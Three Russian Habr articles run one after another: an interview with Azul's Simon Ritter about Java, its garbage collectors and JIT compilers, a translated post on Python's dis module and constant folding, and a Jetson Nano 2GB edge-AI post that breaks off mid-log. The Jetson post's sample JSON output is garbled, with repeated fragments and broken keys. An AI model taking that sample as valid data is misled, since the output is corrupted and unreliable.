**Саймон:** Название моей должности — заместитель генерального директора, но это не вполне точно описывает то, что я делаю. Как и раньше в Oracle и Sun, я объясняю людям, как именно им может помочь моя компания и Java в целом. Нужно сказать, что кроме Java Azul ничем больше не занимается. У нас есть Zulu OpenJDK и коммерческая Zing JVM с альтернативным способом сборки мусора и своим JIT-компилятором. В общем, я содействую распространению Java, отдавая предпочтение нашей версии, и с этой целью я часто выступаю на конференциях. Но в подходе Azul мне нравится, что они большое внимание уделяют продвижению Java в целом, а не только своего продукта. Благодаря этому я могу читать курсы про лямбда-выражения и стримы, рассказывать в своих выступлениях про новые фичи JDK 11, про то, как пользоваться локальным выводом типов и так далее.
Если говорить об отличиях от предыдущей деятельности, то, во-первых, сейчас я пишу значительно больше статей и постов, чем раньше. Во-вторых, я значительно больше общаюсь с клиентами. Но это в основном обсуждение технических вопросов — я помогаю им понять, как устроен Zing, сборщик мусора C4 или JIT-компилятор Falcon. Продажами я не занимаюсь.
**Олег:** Само собой разумеется, что вы не можете посвящать всё своё время программированию. Как вам удается поддерживать связь с миром разработки? Пишете ли вы вообще, читаете ли технические статьи?
**Саймон:** Безусловно, и для меня очень важно оставаться в курсе последних изменений. Мне очень помогает тот факт, что Azul входит в JCP, и я представляю Azul в исполнительном комитете. Там я общаюсь с другими представителями и вижу, в каком направлении развивается Java. Кроме того, я вхожу в экспертную группу Java SE по создаваемым JSR. Это тоже помогает разобраться в происходящих изменениях. Далее, Azul активно участвует в OpenJDK, что даёт мне дополнительную видимость. Помимо этого я читаю технические статьи и много общаюсь со знакомыми из Oracle, что позволяет мне получить представление о том, что происходит в компании.
И, конечно же, я пишу код, причём стараюсь делать это каждый день. Правда, это не всегда получается, но я считаю, что если общаешься с людьми о программировании, то нужно писать самому. Обычно я работаю над проектами с фичами, которые мы рассматриваем, например, с модулями. Какое-то время назад я написал пост про то, как использовать jlink для создания рантаймов приложений без модулей в приложении. Чтобы это сделать, мне, очевидно, потребовалось разобраться в jlink и самому использовать его в коде. Так что программирование по-прежнему занимает очень важное место в моей деятельности.
**Олег:** Давайте представим, что у вас есть суперсила, благодаря которой вы можете убрать одну фичу из Java и добавить любую другую. На чём бы вы остановили свой выбор?
**Саймон:** Это непростой вопрос. Проще сказать, какая фича моя любимая — это лямбда-выражения и потоки, благодаря которым можно писать в более функциональном стиле. С этой фичей Брайан Гетц, Стюарт Маркс и вся их команда проделали просто блестящую работу. Правда, некоторая критика здесь иногда тоже звучит, в особенности в адрес Optionals, но это уже детали.
Значительно сложнее сказать, что мне нравится меньше всего в Java. Мне кажется, обработка исключений устроена не самым простым образом. Споры о них и об их реализации в Java ведутся уже давно, и они действительно доставляют некоторые трудности. Например, если у вас бросается исключение в лямбда-выражении, то вы не можете его поймать за пределами стрима — а именно это обычно и стоит делать. Вам обязательно нужно поймать исключение внутри лямбда-выражения. Так что сами лямбды — моя любимая фича в Java, а обработка исключений в них, наоборот, вызывает больше всего негативных эмоций.
**Олег:** Вы упомянули исполнительный комитет JCP. Как именно протекает его деятельность? У вас есть своё здание для встреч, своего рода «Белый дом», как у настоящего правительства?
**Саймон:** *(смеется)* Думаю, мы больше похожи на комитет по стандартам. Мы проводим регулярные встречи, но чаще всего они проходят в форме телеконференций. Три или четыре раза в год мы собираемся в одном помещении и в течение дня или двух обсуждаем вещи вроде JSR. У нас нет постоянного офиса, все встречи организуются различными компаниями на добровольческой основе. В Великобритании их проводила IBM, в Болгарии — SAP, а в ближайшем будущем будет встреча в Японии, её организует Fujitsu. Эта система нам отлично подходит, и на самих мероприятиях обычно очень дружелюбная атмосфера. Конечно, у нас бывают и споры, но в целом в комитете отличные люди.
**Олег:** А вам, как члену экспертной группы, не страшно добавлять новые фичи? Ведь Java — очень сложная система, можно нечаянно всё сломать.
**Саймон:** За последние два-три года функционирование экспертной группы существенно изменилось. В свое время Sun сделали исходный код открытым и создали OpenJDK, сейчас он всё в большей степени направляет развитие Java в целом. Конкретные фичи предлагаются через JEP (JDK Enhancement Proposal). Иногда эти предложения поступают извне — от Azul, Red Hat, IBM и даже Google. Но контроль в конечном итоге всё равно принадлежит Oracle: они выполняют большую часть работы и определяют направление развития. Oracle принадлежит функция своего рода попечителей, стюардов языка. Благодаря им внесение новых фич происходит упорядоченно, они стараются не торопиться без нужды. Сейчас новая версия выходит каждые полгода, и я замечаю, что разработчики не боятся отложить фичу до следующего релиза, если она ещё не доведена до ума. Мне очень нравится такой ответственный подход. Прекрасный пример его — JDK 12, который выходит в следующем месяце. Изначально в него хотели включить string literals, но потом решили, что их нужно ещё доработать.
*Мы с Саймоном гуляем по Java-конференции JBreak год назад*
**Олег:** А вы и ваша компания уже перешли на Java 11 или 12?
**Саймон:** В своих проектах я часто использую Java 11, но это обычно код не для продакшна, он, скорее, экспериментальный. Из моих разговоров с разработчиками по всему миру у меня складывается впечатление, что люди постепенно переходят на JDK 11, потому что это релиз с долгосрочной поддержкой. Конечно, надо иметь в виду, что эта поддержка предоставляется сейчас на других условиях, чем раньше. За коммерческое использование теперь нужно платить. Есть компании, которые следуют тому же графику релизов, что и Oracle. Это Azul, AdoptOpenJDK, Amazon Coretto. Они рассчитывают на то, что JDK 11 будет иметь долгосрочную поддержку, а следующим долгосрочным релизом будет JDK 17. Как правило, люди не готовы переходить на новую версию каждые шесть месяцев, в особенности в продакшне. Возможно, это смогут делать стартапы, но большинству коммерческих пользователей нужна стабильность. По крайней мере, сейчас это так.
**Олег:** Кстати говоря, насколько мне известно, AdoptOpenJDK [не используют тесты TCK](https://adoptopenjdk.net/quality.html#jck). Поскольку тестирование всё равно необходимо, они предлагают другие подходы, о которых они рассказали на последней конференции FOSDEM, разные сумасшедшие штуки вроде [машинного обучения](https://fosdem.org/2019/schedule/event/deep_learning_openjdk/). В числе этих подходов были радикальные вещи вроде машинного обучения. А у вас много усилий уходит на поддержание своего форка OpenJDK?
**Саймон:** На самом деле, это не так уж и сложно. Правда, нужно и время, и инфраструктура. В AdoptOpenJDK ее предоставляют различные спонсоры, в том числе Azul. Собрать свой собственный JDK достаточно легко, скрипты для сборки работают хорошо. В этом плане ситуация существенно изменилась по сравнению с тем, что было, когда OpenJDK только появился на свет. Далее вам необходимо определиться, нужно ли вам соответствовать стандарту Java SE. Для этого как раз и нужен TCK. Получить TCK от Oracle можно бесплатно, если вы просто хотите сделать свою сборку OpenJDK. Я точно не знаю, почему именно у AdoptOpenJDK нет лицензии TCK. Думаю, это связано с тем, что они параллельно собирают проект OpenJ9 для IBM. А проект может получить TCK только в том случае, если он в основном базируется на OpenJDK. Это моё предположение, но если вы хотите узнать наверняка, вам придётся спросить у самих разработчиков AdoptOpenJDK. Так или иначе, у них сейчас нет возможности удостовериться, что их проект соответствует стандарту Java SE. Поскольку код, на котором они основывались, является эталонной реализацией, скорее всего он этому стандарту отвечает, но точной уверенности без TCK у нас нет. Но у AdoptOpenJDK много других тестов, которые в основном проверяют, как на JDK запускаются приложения. То есть это высокоуровневое тестирование, а не просто проверка соответствия стандарту.
**Олег:** У Azul есть свой дистрибутив OpenJDK, Zulu. Не могли бы вы рассказать про него? Он опенсорсный? В чём разница между ним и всеми остальными?
**Саймон:** У Zulu есть две версии — Community Edition и Enterprise Edition. По большому счёту, здесь такой же подход, как и у Red Hat. Community Edition — открытая версия, её можно скачать с нашего сайта. Она распространяется под лицензией GPLv2 with Classpath Exception, т.е. той же, что и OpenJDK, поэтому ей можно пользоваться так, как вам заблагорассудится. Но у этой версии нет коммерческой поддержки. Zulu Enterprise Edition ориентирована на крупные организации, которым нужна платная поддержка продукта. Между этими версиями есть различие в том, как происходят обновления. Для Enterprise Edition мы делаем бэкпорты самостоятельно. Когда Oracle выпускает обновление для очередной версии JDK, скажем, 12 или 13, мы очень быстро делаем его доступным для 8, 7 и даже 6 версии Zulu Enterprise. В Community Edition мы просто берём исходный код OpenJDK и собираем его. Если фиксы уже есть в этом коде, то они будут и в Community Edition, если же бэкпортов никто другой не сделал, то и в Community Edition их не будет. По-моему, это здравый подход.
**Олег:** В последнее время у целого ряда компаний появились продукты, близкие к тому, что делает Azul. Например, сейчас есть несколько низкопаузных сборщиков мусора, а в Oracle Labs был создан JIT-компилятор Graal, аналогичный Falcon от Azul. Вы можете рассказать нам, что именно представляют из себя C4 и Falcon, и в чём их отличие от аналогичных продуктов других компаний?
**Саймон:** Давайте начнём со сборщиков мусора. C4 — сборщик мусора, который не делает остановок stop-the-world, в отличие от традиционных сборщиков мусора, скажем, CMS, G1 и так далее. Над C4 мы работали больше десяти лет. Сейчас он работает очень стабильно, и мы его много где используем. Но за это время действительно появилось несколько аналогичных сборщиков мусора от наших конкурентов. Один из таких сборщиков мусора — ZGC от Oracle, который недавно стал открытым и вошёл в состав OpenJDK. В ZGC много решений, схожих с теми, которые использует C4. Например, для доступа к объектам используется барьеры чтения, а не барьеры записи. Он работает почти так же хорошо, как и наш. Но проблема в том, что это опенсорсный проект, и Oracle не занимается его активной разработкой. Насколько мне известно, они не планируют включать его в свои коммерческие продукты, он скорее носит экспериментальный характер. До того, как он стал опенсорсным, над ним работало всего два программиста из Швеции. Так что здесь необходимо быть осторожным, поскольку не вполне понятно, насколько этот проект стабилен. Я общался с некоторыми людьми, которые пользовались ZGC, и, по их словам, он даёт неплохие результаты, но стабильность оставляет желать лучшего — по крайней мере, они не стали бы использовать его в коммерческом приложении.
Shenandoah — это сборщик мусора от Red Hat. Он ориентирован на приложения с большими кучами, минимум 20 гигабайт, в то время как у Zing минимальный размер кучи — один гигабайт. Shenandoah по-прежнему находится в разработке, и она продолжается уже продолжительное время. Над ним работают Christine Flood и Алексей Шипилёв, оба прекрасно разбираются в своём деле. Насколько я понимаю, Shenandoah сейчас использует кучу с одним поколением. Имеющиеся на сегодняшний день результаты свидетельствуют о том, что более успешным был бы традиционный подход, т.е. несколько поколений. Скорее всего, здесь ещё есть над чем поработать. Сейчас Shenandoah входит в состав OpenJDK 12 как экспериментальная фича, и это прекрасно, поскольку это даёт пользователям выбор. Из наших клиентов пока никто не перешёл на Shenandoah или ZGC. Возможно, кто-то захочет это сделать в будущем.
Что касается JIT-компиляторов, мы хотели улучшить код, который они генерируют, и поначалу ориентировались на компилятор C2. Но C2 уже больше 20 лет, и он написан довольно сложно, его трудно будет модифицировать. Мы также рассматривали LLVM, это опенсорсный проект, который занимается компиляторами. Мы взяли их исходный код и интегрировали его в JVM. LLVM в основном выполняет статическую AOT-компиляцию, у нас эта технология использовалась для JIT-компиляции. Поскольку мы добропорядочные участники опенсорсного сообщества, мы добавили эти изменения к проекту LLVM. У нас получилась очень элегантная модульная структура, благодаря которой легко добавлять новые фичи, так что можно вносить новые интринсики, новые модули и т.п. Кроме того, над LLVM сейчас работают люди из Intel, Sony, Microsoft, что, безусловно, сильно нам помогает. Каждый раз, когда мы обновляем наш исходный код, мы получаем улучшения в производительности, сделанные другими людьми.
Перейдём теперь к Graal. Это экспериментальный JIT-компилятор, написанный на Java, который задумывался как альтернатива для C2. В большинстве случаев Falcon даёт значительно лучшие результаты, чем Graal. Компилятор Graal — часть более крупного замысла, GraalVM. В ней пытаются найти альтернативный подход к тому, как запускаются приложения. Там будет не только Java, но и другие языки. В целом, меня радует, что в этом направлении ведётся много исследований и существует много альтернативных проектов. Думаю, никто не хочет, чтобы у нас остался только один способ сборки мусора или JIT-компиляции. У людей есть выбор, и это правильно.
**Олег:** Честно признаться, я не ожидал такого всеобъемлющего ответа. Спасибо! Сейчас делается много докладов про микросервисы, микро-инстансы в облачных средах, даже легковесные облачные функции. Четверть программы [JPoint](https://jpoint.ru/?utm_source=habr&utm_medium=443550#schedule) посвящена реактивным технологиям. Все больше людей советует создавать не крупные сервисы, а небольшие инстансы. Но для небольшого инстанса с маленькой кучей не нужен мощный сборщик мусора. Можно даже использовать сверхбыстрые сборщики мусора вроде того, который используется в Golang. Какое будущее у умных сборщиков мусора и умных JIT-компиляторов? Сохраняют ли они свою актуальность?
**Саймон:** Безусловно. Микросервисы — интересный термин, и, на мой взгляд, не вполне точный. Было бы правильнее называть их просто сервисами. Основной принцип микросервисов — специализация, для достижения которой большое монолитное приложение разбивается на ряд отдельных сервисов. Один такой сервис может выполнять транзакции по кредитным картам, другой обеспечивает работу корзины для онлайн-магазина, третий занимается хранением данных. Но здесь важно понять, что микросервис не обязательно должен быть маленьким. В качестве примера можно привести кластеры Cassandra. Такой кластер можно считать микросервисом — у него только одна задача, с которой он отлично справляется. Но при этом у них довольно внушительные размеры и большая куча. Несмотря на то, что они выполняют только одну задачу, они обрабатывают большие объемы данных.
Кроме того, я могу сказать по своему многолетнему опыту работы со многими проектами, что при разбиении приложения на части нужно быть осторожным. В итоге возникает больше проблем, чем при сохранении высокоуровневой архитектуры. Я как раз обсуждаю сейчас эту тему с моими клиентами, которые перешли на архитектуру микросервисов. Когда с приложением возникает проблема, в особенности связанная с производительностью, им оказывается тяжело определить, какой именно сервис её вызывает. Им теперь нужен анализ множества сервисов, запущенных во множестве различных мест. Они не могут просто запустить инструмент отслеживания производительности на своём приложении, им приходится отслеживать множество различных мест и просматривать сообщения, которыми обмениваются сервисы. Разобраться во взаимодействиях между микросервисами значительно сложнее, чем во взаимодействиях между частями одного приложения.
Действительно, сейчас есть тренд в сторону небольших микросервисов, которые запускаются очень быстро, требуют минимум ресурсов, небольшую кучу, и им хватает сборщика мусора Golang. В JDK 11 был добавлен сборщик мусора Epsilon, который не собирает мусор. Ход мысли здесь такой: если у нас бессерверные вычисления, все микросервисы запущены на облаке, и у них нет состояния, то сборка мусора и не нужна — разве это не прогресс? Безусловно, есть ситуации, в которых этот подход может работать, но значительной части реальных приложений всё равно будет нужна куча и сборка мусора. А значит, им будут нужны различные подходы к высокопроизводительной сборке мусора. В общем, микросервисы — это прекрасно, но с ними важно не зайти слишком далеко.
**Олег:** А как насчёт крупных серверов приложений, которые работают в качестве платформ для сервисов? Примерно две недели назад GlassFish стал частью Eclipse. Думаете ли вы, что это правильный путь развития?
**Саймон:** Мне кажется, что для разных приложений хороши разные подходы. Микросервисы сейчас определённо в моде, но я не знаю, насколько они будут жизнеспособны в долгосрочной перспективе. Тут есть много трудностей, которые, правда, преодолимы. Вопрос в том, сможем ли мы найти максимально простое решение для них. Kubernetes — отличное дополнение к микросервисам, он позволяет управлять ими и упрощает работу. Нам нужны решения именно такого характера.
**Олег:** Eclipse и Jakarta EE утверждают, что их главная фича — интеграция в облачной среде, т.е. Docker, Kubernetes и т.п. Какое место занимает Java в облачных технологиях? Жизнеспособна ли она там? Можно ли запустить Falcon на Arm64?
**Саймон:** Безусловно, если вы хотите запустить Falcon на другой архитектуре, вам придётся дополнительно поработать. Но здесь опять-таки нам помогает тот факт, что в LLVM участвуют многие крупные компании, в том числе ARM. Они знают свою архитектуру, и поэтому могут добиться отличной совместимости компилятора с ней. Благодаря этому преимуществу мы можем работать с различными облачными архитектурами, и мне не видится здесь никаких затруднений для нас.
**Олег:** Кстати говоря, Java Enterprise и JavaFX больше не входят в дистрибутив OpenJDK. Как вам кажется, это к лучшему или нет? И, в целом, какой ваш взгляд на будущее Java EE и JavaFX?
**Саймон:** C JavaFX ситуация проще, поэтому давайте начнём с неё. Если мне не изменяет память, JavaFX появилась аж в 2004 году. Это была интересная попытка предоставить более совершенное средство разработки UI. Я написал довольно много кода на JavaFX, и она мне очень нравится. С ней значительно проще, чем со Swing и AWT, благодаря наличию поддержки style sheets, различных способов работы с layouts и так далее. Тем не менее, JavaFX так и не стала частью стандарта Java SE, как этого многие хотели. Oracle решили, что больше не будут вкладываться в этот проект, и открыли исходники для него. Но большой проблемы в том, что они не включают его в JDK, на мой взгляд нету. При желании вы вполне можете пользоваться JavaFX, как это делает, скажем, Gluon. Azul может предоставлять поддержку JavaFX как часть поддержки Zulu. В общем, здесь всё просто.
Что касается Java EE, то, как мы знаем, в JDK 11 был удалён модуль java.se.ee — это агрегатор, включающий в себя шесть других модулей. В их числе JAX-B и CORBA, её из известных мне людей не использует сейчас никто, так что это не страшно. А вот удаление JAX-WS не всеми было хорошо воспринято. Но, опять-таки, благодаря наличию модульной системы сейчас относительно несложно получить опенсорсную версию необходимого вам модуля, если он был удалён из JDK. Поддержка для этого есть в т. ч. на Maven Central. Поэтому я считаю, что со стороны Oracle было правильным решением почистить Java. Я уже говорил, что в прошлом, наверное, следовало более активно избавляться от устаревших модулей. Java уже 24 года, и нам нужно активнее удалять старые фичи, которыми люди уже не пользуются. Это также упростит жизнь разработчикам OpenJDK, поскольку уменьшится количество кода, которое нужно поддерживать. Короче говоря, я считаю, что этот подход правильный.
**Олег:** Последний вопрос, будете ли вы на JPoint, и если да, то как дела с российской визой? Было ли тяжело её получить?
**Саймон:** Да, я с нетерпением жду JPoint. В прошлом году я был на конференции JBreak в Новосибирске, и остался очень доволен этой поездкой в Сибирь. Конференция была отличная, в ней участвовало много интересных людей. В Москве я уже был несколько раз, и она произвела на меня большое впечатление, так что я рад буду туда вернуться.
А вот с визой действительно ситуация непростая. Недавно я разбирался с документами, необходимыми для её получения. В одном из пунктов анкеты, которую нужно было заполнить для подачи заявления, нужно было перечислить все поездки за границу за последние 10 лет, а также причину каждого визита. Мне на это было непросто ответить. К счастью, в графе ответа было всего 10 свободных ячеек, и я просто вписал туда свои последние поездки, места хватило где-то до ноября прошлого года. Кроме того, мне нужно было сдать отпечатки пальцев, чем я, собственно, и занимался сегодня утром, и из-за этого опоздал на интервью с вами. Но к следующей среде я уже должен получить визу, и тогда я буду готов ехать.
На самом деле, всё было не так уж и страшно. Я подавал заявление через специальную компанию, так что мне нужно было только заполнить анкету, дать им фотографию и отпечатки пальцев. Это существенно облегчило процесс.
**Олег:** А чему будет посвящён ваш доклад на конференции?
**Саймон:** Я буду рассказывать о том, что Java с новым графиком релизов стала развиваться быстрее, но при этом более мелкими шагами. Речь пойдёт о версиях с 9 по 12, а также о замыслах на будущее. В числе этих замыслов — проект Valhalla с его value types и reified generics, а также проект Loom с его fibers. Loom позволит сделать треды более легковесными и позволит привязывать множество файберов к одному треду операционной системы. Это улучит производительность приложений. Также я расскажу о проекте Amber, который позволит почистить синтаксис Java и сделать его менее многословным. В общем, это будет краткий обзор существующих и планируемых фич.
Думаю, с новым графиком релизов стало особенно важно следить за последними наработками. Правда, пользователи, скорее всего, будут переходить с одного LTS релиза на другой. Но за небольшими изменениями между ними следить всё равно стоит, потому что они могут повлиять на совместимость приложений, когда переход на новую версию всё-таки будет сделан. Если вы будете в курсе изменений, то вас не застанет врасплох этот переход. Даже если вы не развёртываете каждый новый релиз, тестировать его всё равно стоит, чтобы убедиться, что всё работает.
> Саймон говорит о своих свежих докладах на JPoint 2019: [«JDK 12: Pitfalls for the unwary»](https://jpoint.ru/talks/35kmzgw4ds3gyt849hbaeo/?utm_source=habr&utm_medium=443550) и [«Local variable type inference: Friend or foe?»](https://jpoint.ru/talks/7gcedvddxsm9p6k4ywwny1/?utm_source=habr&utm_medium=443550). Да, целых два. Также в программе заявлены доклады от команды GraalVM (Thomas Wuerthinger и Олег Шелаев), Liberica JDK (Дмитрий Чуйко), Excelsior JET (Никита Липский), и т.п. JPoint 2019 пройдёт 5-6 апреля, **с первого апреля** [билеты](https://jpoint.ru/tickets/?utm_source=habr&utm_medium=443550) подорожают. | https://habr.com/ru/post/443550/ | null | ru | null |
# Модуль dis в Python и свертка констант
Всем привет. Сегодня хотим поделиться еще одним переводом подготовленным в преддверии запуска курса [«Web-разработчик на Python»](https://otus.pw/9Aod/). Поехали!
Недавно я очень удивился, когда обнаружил, что
```
>>> pow(3,89)
```
работает медленнее, чем
```
>>> 3**89
```
Я пытался придумать какое-либо приемлемое объяснение, но не смог. Я засек время выполнения этих двух выражений, используя модуль [timeit](https://docs.python.org/3/library/timeit.html) из Python 3:
```
$ python3 -m timeit 'pow(3,89)'
500000 loops, best of 5: 688 nsec per loop
$ python3 -m timeit '3**89'
500000 loops, best of 5: 519 nsec per loop
```
Различие небольшое. Всего 0,1 мкс, но это не давало мне покоя. Если я не могу объяснить что-нибудь в программировании, я начинаю страдать бессонницей
Я нашел ответ с помощью канала Python IRC на Freenode. Причина, по которой pow работает чуть-чуть медленнее заключается в том, что уже в CPython появляется дополнительный шаг загрузки pow из пространства имен. Тогда как при вызове 3\*\*9 такая загрузка не нужна в принципе. Также это значит, что эта разница во времени останется более-менее постоянной, если входные значения будут расти.
Гипотеза подтвердилась:
```
$ python3 -m timeit 'pow(3,9999)'
5000 loops, best of 5: 58.5 usec per loop
$ python3 -m timeit '3**9999'
5000 loops, best of 5: 57.3 usec per loop
```
В процессе поиска решения этого вопроса я также узнал о модуле dis. Он позволяет декомпилировать байт-код Python и изучить его. Это было крайне захватывающее открытие, поскольку в последнее время я изучаю реверс-инжиниринг двоичных фалов, а обнаруженный модуль пришелся как раз кстати в этом вопросе.
Я декомпилировал байт-код выражений, приведенных выше, и получил следующее:
```
>>> import dis
>>> dis.dis('pow(3,89)')
# 1 0 LOAD_NAME 0 (pow)
# 2 LOAD_CONST 0 (3)
# 4 LOAD_CONST 1 (89)
# 6 CALL_FUNCTION 2
# 8 RETURN_VALUE
>>> dis.dis('3**64')
# 1 0 LOAD_CONST 0 (3433683820292512484657849089281)
# 2 RETURN_VALUE
>>> dis.dis('3**65')
# 1 0 LOAD_CONST 0 (3)
# 2 LOAD_CONST 1 (65)
# 4 BINARY_POWER
# 6 RETURN_VALUE
```
Вы можете почитать о том, как правильно понимать выходные данные dis.dis, обратившись к [этому ответу](https://stackoverflow.com/questions/12673074/how-should-i-understand-the-output-of-dis-dis) на Stackoverflow.
Хорошо, вернемся к коду. В декомпиляции pow есть смысл. Байт-код загружает pow из пространства имен, загружает в регистры 3 и 89, и, наконец, вызывает функцию pow. Но почему выходные данные следующих двух декомпиляций отличаются друг от друга? Ведь все, что мы изменили, это значение показателя степени с 64 на 65!
Этот вопрос познакомил меня еще с одним новым понятием, которое называется «свертка констант». Оно означает, что когда у нас есть константное выражение, Python вычисляет его значение на этапе компиляции, так что когда вы запустите программу, ее работа не займет много времени, поскольку Python использует уже вычисленное значение. Взгляните на это:
```
def one_plue_one():
return 1+1
# --vs--
def one_plue_one():
return 2
```
Python компилирует первую функцию во вторую и использует ее при запуске кода. Неплохо, да?
Так почему свертка констант работает для 3\*\*64, но не для 3\*\*65? Что ж, я не знаю. Вероятно, это как-то связано с ограничением количества степеней, предварительно вычисленных системой в памяти. Я могу ошибаться. Следующий шаг, который я планирую предпринять, это порыться в исходном коде Python в свободное время и попытаться понять, что происходит. Я все еще ищу ответ на свой вопрос, поэтому, если у вас есть какие-то идеи, делитесь ими в комментариях.
Мне хочется, чтобы из этого поста вы почерпнули вдохновение на поиск решения своих вопросов самостоятельно. Вы никогда не знаете, куда вас приведут ответы. В конечном итоге вы можете узнать что-то совершенно новое, как случилось со мной. Надеюсь, в вас еще горит пламя любопытства!
Замечали похожие штуки? Ждём ваших комментариев! | https://habr.com/ru/post/460143/ | null | ru | null |
# Стриминг Edge2AI на NVIDIA JETSON Nano 2Гб с использованием агентов MiNiFi в приложениях FLaNK
Мне некогда было снимать своё видео распаковки - не терпелось запустить это превосходное устройство. NVIDIA Jetson Nano 2GB теперь можно [купить](https://www.nvidia.com/ru-ru/autonomous-machines/jetson-store/) всего за 59 долларов!!!
Я провел пробный запуск, у него есть все функции, которые вам нравятся для Jetson, всего на 2 Гб оперативной памяти и 2 USB порта меньше. Это очень доступное устройство для создания классных кейсов.
Распаковка: <https://www.youtube.com/watch?v=dVGEtWYkP2c&feature=youtu.be>
**Подключение к приложениям ИИ-сообщества:** <https://youtu.be/2T8CG7lDkcU>
**Образовательные проекты:** <https://www.nvidia.com/en-us/autonomous-machines/embedded-systems/jetson-nano/education-projects/>
Технические характеристики:
**Графический процессор**: NVIDIA Maxwell™ со 128 ядрами CUDA
**Процессор**: Четырехъядерный ARM® A57 с частотой 1,43 ГГц
**Память**: 2 Гб LPDDR4, 64-bit 25,6 Гбит/с
**Накопитель**: microSD (не входит в комплект)
**Кодирование видео**: 4K с частотой 30 Гц | 4 потока в разрешении 1080p с частотой 30 Гц | 9 потоков в разрешении 720p с частотой 30 Гц (H.264/H.265)
**Декодирование видео**: 4K с частотой 60 Гц | 2 потока в разрешении 4K с частотой 30 Гц | 8 потоков в разрешении 1080p с частотой 30 Гц | 18 потоков в разрешении 720р с частотой 30 Гц (H.264/H.265)
**Соединение**: Беспроводное подключение Gigabit Ethernet, 802.11ac\*
**Камера**: 1 разъем MIPI CSI-2
**Разъемы дисплея**: Разъем HDMI
**USB**: 1x USB 3.0 Type A, 2x USB 2.0 Type A, 1x USB 2.0 Micro-B
**Прочие разъемы**: Разъем 40-пин (GPIO, I2C, I2S, SPI, UART)
**Разъем**: 12-пин (питание и связанные сигналы, UART)
**Разъем вентилятора**: 40-пин \*
**Размеры**: 100 x 80 x 29 мм
В зависимости от того, где или как вы покупаете устройство, вам, возможно, придется купить блок питания и USB WiFi.
Все мои существующие рабочие нагрузки отлично работают в версии на 2 ГБ, но с очень хорошей экономией средств. Настройка проста, система быстрая, я настоятельно рекомендую всем, кто ищет быстрый способ поэкспериментировать с ИИ на периферии и другими пограничными рабочими нагрузками. Это может быть отличный вариант для самостоятельного обучения. Я также подключил свой Jetson к монитору, клавиатуре и мыши, и я могу использовать его сразу же как для вычислений на периферии, так и в качестве основного рабочего ПК. С большим количеством таких устройств можно будет легко запустить MiNiFi агентов, модель классификации на Python и модели Deep Learning.
NVIDIA не остановилась на самом дешевом пограничном устройстве, у них также есть несколько серьезных корпоративных обновлений: Cloudera превозносит на новый уровень корпоративное озеро данных [благодаря сотрудничеству с NVIDIA](https://blog.cloudera.com/cloudera-supercharges-the-enterprise-data-cloud-with-nvidia/)!
**Пример запуска модели глубокого обучения**
**Исходники и настройки:** <https://github.com/tspannhw/SettingUpAJetsonNano2GB/blob/main/README.md>
Устройство NVIDIA Jetson Nano 2GB великолепно - ничего лишнего. Я скопировал своего агента MiNiFi и код из других Jetson Nanos, Xavier NX и TX1, и все работает нормально. Скорость вполне подходит для большинства потребностей, особенно для задач разработки и прототипирования. Я предпочитаю Xavier, но за эту цену выбор достойный. Для большинства сценариев использования IoT/ИИ на периферии я собираюсь задействовать несколько Jetson Nano. Я уже использовал NVidia Jetson 2GB для демонстрации на некоторых мероприятиях, включая ApacheCon, BeamSummit, Open Source Summit и AI Dev World:
<https://www.linkedin.com/pulse/2020-streaming-edge-ai-events-tim-spann/>
Для захвата неподвижных изображений и создания их каталога для обработки я установил **fswebcam**.
Обычно я использую этот гайд: <https://github.com/dusty-nv/jetson-inference>.
Вы получите отличные библиотеки, руководства, документацию и примеры. Обычно я создаю свои приложения, пользуясь одним из этих примеров, а также использую одну из превосходных готовых моделей NVIDIA. Это значительно ускоряет разработку и развертывание **Edge2AI**-приложений, будь то задачи IoT или другие цели. Это все работает со стандартными подключаемыми камерами Raspberry Pi и отличными USB веб-камерами Logitech, которые я использовал со всеми другими устройствами NVIDIA.
При такой цене, кажется, нет причин, по которым любому разработчику в любой компании не стоило бы иметь такое устройство. Это отличное решение для тестирования приложений Edge AI и классификации с очень приличной скоростью.
Во время проведения презентации на NetHope Global Summit, и подумал, что эти устройства за 59 долларов вполне способны стать отличным вариантом для некоммерческих организаций, которые могут использовать их для сбора и анализа данных ‘в поле’. <https://www.nethopeglobalsummit.org/agenda-2020#sz-tab-44134>
Я исследую некоторые сценарии использования, чтобы посмотреть, можно ли заранее создать несколько простых приложений, которые такая организация могла бы просто взять и запустить. Посмотрим, что получится. Периферийное устройство с графическим процессором за 59 долларов позволяет использовать некоторые новые приложения по очень доступной цене. За 59 долларов я не получу много ресурсов облака, но смогу получить небольшое и мощное устройство для сбора данных, которое справится с нагрузками МО, DL, обработкой видео с камеры, работой с агентами MiNiFi, Python и Java. Воображение здесь ограничивается только 2-мя гигабайтами быстрой оперативной памяти и одним графическим процессором.
**Пример приложения**
**Пример выходных данных:**
`{"uuid": "nano_uuid_cmq_20201026202757", "ipaddress": "192.168.1.169",
"networktime": 47.7275505065918, "detectleft": 1.96746826171875,
"detectconfidence": 52.8866550521850pidence ": 52.8866550521850pidence":
52.8866550521850p , "gputemp": "30.0", "gputempf": "86", "cputempf": "93",
"runtime": "169", "host": "nano5",
"filename": "/ opt / demo /images/out_iue_20201026202757.jpg ",
" host_name ":" nano5 "," macaddress ":" 00: e0: 4c: 49: d8: b7 ",
" end ":" 1603744246.924455 "," te ":" 169.4200084209442 ",
«systemtime»: «26.10.2020 16:30:46», «cpu»: 9,9, «diskusage»: «37100,4 МB»,
«Memory»: 91,5, «id»: «20201026202757_64d69a82-88d8-45f8-be06 -1b836cb6cc84 "}`
---
Ниже приведен пример вывода при запуске скрипта на Python для классификации изображения с веб-камеры (это Logi веб-камера низкого уровня, но вы можете использовать камеру Raspberry Pi). Еще лучше, если бы мы запустили этот непрерывный вывод сообщений журнала и изображений для агентов MiNiFi. Их можно было бы собрать и отправить на сервер для маршрутизации, преобразования и обработки.
root@nano5:/opt/demo/minifi-jetson-nano# jetson\_clocks
root@nano5:/opt/demo/minifi-jetson-nano# python3 detect.py
[gstreamer] initialized gstreamer, version 1.14.5.0
[gstreamer] gstCamera -- attempting to create device v4l2:///dev/video0
[gstreamer] gstCamera -- found v4l2 device: HD Webcam C615
[gstreamer] v4l2-proplist, device.path=(string)/dev/video0, udev-probed=(boolean)false, device.api=(string)v4l2, v4l2.device.driver=(string)uvcvideo, v4l2.device.card=(string)"HD\ Webcam\ C615", v4l2.device.bus\_info=(string)usb-70090000.xusb-3.2, v4l2.device.version=(uint)264588, v4l2.device.capabilities=(uint)2216689665, v4l2.device.device\_caps=(uint)69206017;
[gstreamer] gstCamera -- found 30 caps for v4l2 device /dev/video0
